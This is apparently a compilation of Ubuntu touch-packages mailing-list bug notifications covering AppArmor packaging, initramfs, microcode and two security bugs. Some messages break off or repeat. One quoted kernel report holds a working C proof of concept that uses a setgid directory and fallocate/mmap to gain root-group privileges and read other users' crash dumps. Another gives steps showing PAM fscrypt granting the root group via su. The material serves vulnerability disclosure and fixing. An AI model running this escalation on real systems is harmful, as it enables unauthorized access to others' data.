@@ -20,14 +20,6 @@
 # dh_installdeb will replace this with shell code automatically
 # generated by other debhelper scripts.
 
-case "$1" in
-configure)
-if [ ! -e 
/etc/apparmor.d/abstractions/ubuntu-browsers.d/chromium-browser ]; then
-cp 
/usr/share/apparmor/extra-profiles/abstractions/ubuntu-browsers.d/chromium-browser
 /etc/apparmor.d/abstractions/ubuntu-browsers.d || true
-fi
-;;
-esac
-
 #DEBHELPER#
 
 exit 0

---

/usr/share/apparmor/extra-profiles/abstractions/ubuntu-browsers.d
/chromium-browser does exist but /etc/apparmor.d/abstractions/ubuntu-
browsers.d/chromium-browser does not. The removal of this 'cp'
invocation from the apparmor-profile.postinst is likely the cause.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1821920

Title:
  apparmor-profiles installs the chromium-browser profile but not the
  abstraction

Status in apparmor package in Ubuntu:
  New

Bug description:
  The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
  disco-proposed is not handling the chromium-browser profile and
  abstraction correctly. It installs the profile but not the abstraction
  which makes profile loading fail.

  $ sudo apt install apparmor-profiles/disco-proposed
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
  The following NEW packages will be installed:
apparmor-profiles
  0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
  Need to get 32.5 kB of archives.
  After this operation, 353 kB of additional disk space will be used.
  Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
   2.13.2-9ubuntu2 [32.5 kB]
  Fetched 32.5 kB in 0s (95.3 kB/s)  
  Selecting previously unselected package apparmor-profiles.
  (Reading database ... 119746 files and directories currently installed.)
  Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
  Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
  Setting up apparmor-profiles (2.13.2-9ubuntu2) ...
  AppArmor parser error for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/
  usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'

  This makes the apparmor service fail to start:

  $ sudo service apparmor restart
  Job for apparmor.service failed because the control process exited with error 
code.
  See "systemctl status apparmor.service" and "journalctl -xe" for details.

  
  $ systemctl status apparmor.service | cat
  ● apparmor.service - Load AppArmor profiles
 Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor 
preset: enabled)
 Active: failed (Result: exit-code) since Wed 2019-03-27 13:05:37 UTC; 41s 
ago
   Docs: man:apparmor(7)
 https://gitlab.com/apparmor/apparmor/wikis/home/
Process: 5103 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, 
status=1/FAILURE)
   Main PID: 5103 (code=exited, status=1/FAILURE)

  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Restarting AppArmor
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Reloading AppArmor 
profiles
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d in /etc/apparmor.d/usr.bin.chromium-browser at line 20: 
Could not open 'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Error: At least one 
profile failed to load
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Main process 
exited, code=exited, status=1/FAILURE
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Failed with 
result 'exit-code'.
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: Failed to start Load AppArmor 
profiles.

To manage notifications about this bug go to:

[Touch-packages] [Bug 1821920] [NEW] apparmor-profiles installs the chromium-browser profile but not the abstraction

[Tyler Hicks]

Public bug reported:

The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
disco-proposed is not handling the chromium-browser profile and
abstraction correctly. It installs the profile but not the abstraction
which makes profile loading fail.

$ sudo apt install apparmor-profiles/disco-proposed
Reading package lists... Done
Building dependency tree   
Reading state information... Done
Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
The following NEW packages will be installed:
  apparmor-profiles
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 32.5 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
 2.13.2-9ubuntu2 [32.5 kB]
Fetched 32.5 kB in 0s (95.3 kB/s)  
Selecting previously unselected package apparmor-profiles.
(Reading database ... 119746 files and directories currently installed.)
Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
Setting up apparmor-profiles (2.13.2-9ubuntu2) ...
AppArmor parser error for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/
usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'

This makes the apparmor service fail to start:

$ sudo service apparmor restart
Job for apparmor.service failed because the control process exited with error 
code.
See "systemctl status apparmor.service" and "journalctl -xe" for details.


$ systemctl status apparmor.service | cat
● apparmor.service - Load AppArmor profiles
   Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor 
preset: enabled)
   Active: failed (Result: exit-code) since Wed 2019-03-27 13:05:37 UTC; 41s ago
 Docs: man:apparmor(7)
   https://gitlab.com/apparmor/apparmor/wikis/home/
  Process: 5103 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, 
status=1/FAILURE)
 Main PID: 5103 (code=exited, status=1/FAILURE)

Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Restarting AppArmor
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Reloading AppArmor 
profiles
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d in /etc/apparmor.d/usr.bin.chromium-browser at line 20: 
Could not open 'abstractions/ubuntu-browsers.d/chromium-browser'
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Error: At least one 
profile failed to load
Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Main process 
exited, code=exited, status=1/FAILURE
Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Failed with 
result 'exit-code'.
Mar 27 13:05:37 sec-disco-amd64 systemd[1]: Failed to start Load AppArmor 
profiles.

** Affects: apparmor (Ubuntu)
 Importance: High
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1821920

Title:
  apparmor-profiles installs the chromium-browser profile but not the
  abstraction

Status in apparmor package in Ubuntu:
  New

Bug description:
  The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
  disco-proposed is not handling the chromium-browser profile and
  abstraction correctly. It installs the profile but not the abstraction
  which makes profile loading fail.

  $ sudo apt install apparmor-profiles/disco-proposed
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
  The following NEW packages will be installed:
apparmor-profiles
  0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
  Need to get 32.5 kB of archives.
  After this operation, 353 kB of additional disk space will be used.
  Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
   2.13.2-9ubuntu2 [32.5 kB]
  Fetched 32.5 kB in 0s (95.3 kB/s)  
  Selecting previously unselected package apparmor-profiles.
  (Reading database ... 119746 files and directories currently installed.)
  Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
  Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
  Setting up apparmor-profiles 

[Touch-packages] [Bug 1814818] Re: Skip enslaved devices during boot

[Tyler Hicks]

** Also affects: initramfs-tools (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Changed in: initramfs-tools (Ubuntu)
   Status: New => Fix Released

** Changed in: initramfs-tools (Ubuntu Cosmic)
 Assignee: (unassigned) => Marcelo Cerri (mhcerri)

** Changed in: initramfs-tools (Ubuntu Cosmic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1814818

Title:
  Skip enslaved devices during boot

Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Cosmic:
  In Progress

Bug description:
  [Impact]

  In some scenarios, we need to skip enslaved network devices from being
  brought up in initrd.

  In order to avoid regressions for other users, the new behaviour is
  being conditioned to the configuration variable NETWORK_SKIP_ENSLAVED.
  This mechanism enable us to use it only for the required kernels. The
  target kernel should be responsible to include the configuration via
  an initramfs-tools hook.

  [Test Case]

  Enslaved network devices shouldn't be brought up when the
  configuration is set by certain kernels. For any other scenario, such
  as the generic Ubuntu kernel, the behaviour should not be changed.

  [Regression Potential]

  The potential for regressions was vastly reduced by conditioning the
  new behaviour.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1814818/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1652101] Re: Can't create nested AppArmor namespaces

[Tyler Hicks]

** Also affects: apparmor
   Importance: Undecided
   Status: New

** Changed in: apparmor
   Status: New => Confirmed

** Changed in: apparmor
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1652101

Title:
  Can't create nested AppArmor namespaces

Status in AppArmor:
  Confirmed
Status in apparmor package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  A user with CAP_MAC_ADMIN in the init namespace can create an AppArmor
  policy namespace and load a profile belonging to that AppArmor
  namespace. Once that's done, the user can confine a process with that
  namespaced AppArmor profile and enter into a user namespace. That
  process can then load additional AppArmor profiles inside of the
  AppArmor and user namespace. Here's an example:

  We need to set up the namespace, n1, and load the profile, p1.
  $ export rules="file, signal, unix, dbus, ptrace, mount, pivot_root, 
capability,"
  $ sudo mkdir /sys/kernel/security/apparmor/policy/namespaces/n1
  $ echo "profile p1 { $rules }" | sudo apparmor_parser -qrn n1

  Now we enter into confinement using the AppArmor namespace and profile and 
then enter into an unprivileged user namespace
  $ aa-exec -n n1 -p p1 -- unshare -Ur

  We can now load profiles as the privileged user inside of the unprivileged 
user namespace
  # echo "profile test {}" | apparmor_parser -qr

  The reason for this bug report is that we cannot create a nested
  AppArmor policy namespace inside of the unprivileged user namespace

  # mkdir /sys/kernel/security/apparmor/policy/namespaces/n1/namespaces/p1
  mkdir: cannot create directory 
‘/sys/kernel/security/apparmor/policy/namespaces/n1/namespaces/p1’: Permission 
denied

  If that worked, we could adjust LXD to read
  /sys/kernel/security/apparmor/.ns_name to get the current AppArmor
  namespace, then create a new namespace under the current namespace,
  and leverage the nested namespace for its nested containers.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1652101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1802591] Re: Skip enslaved devices during boot

[Tyler Hicks]

** Also affects: initramfs-tools (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Changed in: initramfs-tools (Ubuntu Xenial)
 Assignee: (unassigned) => Marcelo Cerri (mhcerri)

** Changed in: initramfs-tools (Ubuntu Bionic)
 Assignee: (unassigned) => Marcelo Cerri (mhcerri)

** Changed in: initramfs-tools (Ubuntu Cosmic)
 Assignee: (unassigned) => Marcelo Cerri (mhcerri)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1802591

Title:
  Skip enslaved devices during boot

Status in initramfs-tools package in Ubuntu:
  In Progress
Status in initramfs-tools source package in Xenial:
  New
Status in initramfs-tools source package in Bionic:
  New
Status in initramfs-tools source package in Cosmic:
  New

Bug description:
  In order to support live migration in OCI, we need to filter enslaved
  devices during boot.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1802591/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1802591] Re: Skip enslaved devices during boot

[Tyler Hicks]

** Also affects: initramfs-tools (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: initramfs-tools (Ubuntu Xenial)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1802591

Title:
  Skip enslaved devices during boot

Status in initramfs-tools package in Ubuntu:
  In Progress
Status in initramfs-tools source package in Xenial:
  New
Status in initramfs-tools source package in Bionic:
  New

Bug description:
  In order to support live migration in OCI, we need to filter enslaved
  devices during boot.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1802591/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1787548] Re: PAM fscrypt adds root(0) group to all users called by su

[Tyler Hicks]

I've uploaded an fscrypt security update to the Ubuntu Security PPA.
Ubuntu Security will release it once they've reviewed and approved the
changes.

** Information type changed from Private Security to Public Security

** Changed in: shadow (Ubuntu)
   Status: New => Invalid

** Changed in: shadow
   Status: New => Invalid

** Changed in: fscrypt (Ubuntu)
   Status: New => Confirmed

** Changed in: fscrypt (Ubuntu)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1787548

Title:
  PAM fscrypt adds root(0) group to all users called by su

Status in Shadow:
  Invalid
Status in fscrypt package in Ubuntu:
  Confirmed
Status in shadow package in Ubuntu:
  Invalid

Bug description:
  related packages: /bin/su (from login , shadow)

  OS: ubuntu 18.04.1, updated

  Bug: a normal user (not in 'root' group), when the PAM module fscrypt
  is active, all calls of su give the user additional group root(0).

  Results: this is a permission escalation, such user can now delete
  files owned by root group (where permisions are g+w)

  Steps to reproduce: 
  0/ login uses pam unix authentication module (default on ubuntu, no action 
needed)
  0.1/ create a new user: 
  # useradd developer

  1/ verify:
  #id developer 
  // on my system, shows
  // uid=1004(developer) gid=1004(developer) groups=1004(developer) 
  \su - developer -c id
  sudo -u developer id

  2/ enable pam-fscrypt
  # apt install libpam-fscrypt
  # pam-auth-update --enable fscrypt

  3/ verify again (bug shows)
  // repeate step 1/ 
  // the su command will show the bug (sudo won't, interestingly)
  \su - developer -c id
  // uid=1004(developer) gid=1004(developer) groups=1004(developer),0(root)

  4/ workaround and return to original state:
  pam-auth-update --disable fscrypt
  apt remove  libpam-fscrypt

  Thank you,

To manage notifications about this bug go to:
https://bugs.launchpad.net/shadow/+bug/1787548/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

[Tyler Hicks]

Fix submitted for the Ubuntu kernel: https://lists.ubuntu.com/archives
/kernel-team/2018-July/093863.html

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: New => In Progress

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Also affects: linux (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Cosmic)
   Importance: Medium
 Assignee: Tyler Hicks (tyhicks)
   Status: In Progress

** Also affects: whoopsie (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: linux (Ubuntu Bionic)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Trusty)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Trusty)
   Status: New => In Progress

** Changed in: linux (Ubuntu Trusty)
     Assignee: (unassigned) => Tyler Hicks (tyhicks)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, s

[Touch-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

[Tyler Hicks]

I don't think the Security or Foundations teams plan to make any changes
in Whoopsie so I'm marking these tasks as invalid.

** Changed in: whoopsie (Ubuntu Trusty)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Xenial)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Bionic)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Cosmic)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to whoopsie in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  

[Touch-packages] [Bug 1386257] Re: intel-microcode should be installed by default, when the CPU is GenuineIntel

[Tyler Hicks]

@lahtis deb packaging doesn't provide us the granularity to have the
kernel packages specifically depend on intel-microcode packages on Intel
x86 systems and amd64-microcde on AMD x86 systems. Instead, we have to
depend on both packages. If you have an Intel processor, the AMD
microcode is not used. If you have an AMD processor, the Intel microcode
is not used.

The downside here is slightly increased storage requirements to store
the unnecessary package on your device (and the bandwidth to download
the updates). We apologize for the inconvenience but felt it was
warranted in order to get updated microcode deployed to all users in
order to address known vulnerabilities in processors.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1386257

Title:
  intel-microcode should be installed by default, when the CPU is
  GenuineIntel

Status in intel:
  Fix Released
Status in Ubuntu Kylin:
  Fix Released
Status in amd64-microcode package in Ubuntu:
  Confirmed
Status in ubuntu-drivers-common package in Ubuntu:
  Fix Released
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntukylin-meta package in Ubuntu:
  Fix Released

Bug description:
  intel-microcode should be installed by default on the bare-metal
  systems which are running on GenuineIntel CPUs, by the installers.

  Similarly other microcode packages for other CPUs brands should be
  considered for inclusion (e.g. amd64-microcode).

  I hope that ubuntu-drivers-common can gain ability to detect cpu
  series and/or vendors, packages that provide microcodes similarly
  declare support for cpu series and/or vendors, the microcode packages
  are shipped on the CDs in the pool directory, and installed on to the
  target machines as part of the installation.

  This should help with rapid correction of bugs and behaviour of the
  CPUs in the field.

  2017 update, amd64-microcode should also be seeded, as it is useful to
  have it autoinstallable. In the recent years there have been critical
  CPU security vulnerabilities which got fixed with microcode updates.

To manage notifications about this bug go to:
https://bugs.launchpad.net/intel/+bug/1386257/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1386257] Re: intel-microcode should be installed by default, when the CPU is GenuineIntel

[Tyler Hicks]

@amribrahim1987 you've probably noticed but we have released an
amd64-microcode update recently:

  https://usn.ubuntu.com/3690-1/

Updates for AMD microcode will be provided in the amd64-microcode
package and not in linux-firmware.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1386257

Title:
  intel-microcode should be installed by default, when the CPU is
  GenuineIntel

Status in intel:
  Fix Released
Status in Ubuntu Kylin:
  Fix Released
Status in amd64-microcode package in Ubuntu:
  Confirmed
Status in ubuntu-drivers-common package in Ubuntu:
  Fix Released
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntukylin-meta package in Ubuntu:
  Fix Released

Bug description:
  intel-microcode should be installed by default on the bare-metal
  systems which are running on GenuineIntel CPUs, by the installers.

  Similarly other microcode packages for other CPUs brands should be
  considered for inclusion (e.g. amd64-microcode).

  I hope that ubuntu-drivers-common can gain ability to detect cpu
  series and/or vendors, packages that provide microcodes similarly
  declare support for cpu series and/or vendors, the microcode packages
  are shipped on the CDs in the pool directory, and installed on to the
  target machines as part of the installation.

  This should help with rapid correction of bugs and behaviour of the
  CPUs in the field.

  2017 update, amd64-microcode should also be seeded, as it is useful to
  have it autoinstallable. In the recent years there have been critical
  CPU security vulnerabilities which got fixed with microcode updates.

To manage notifications about this bug go to:
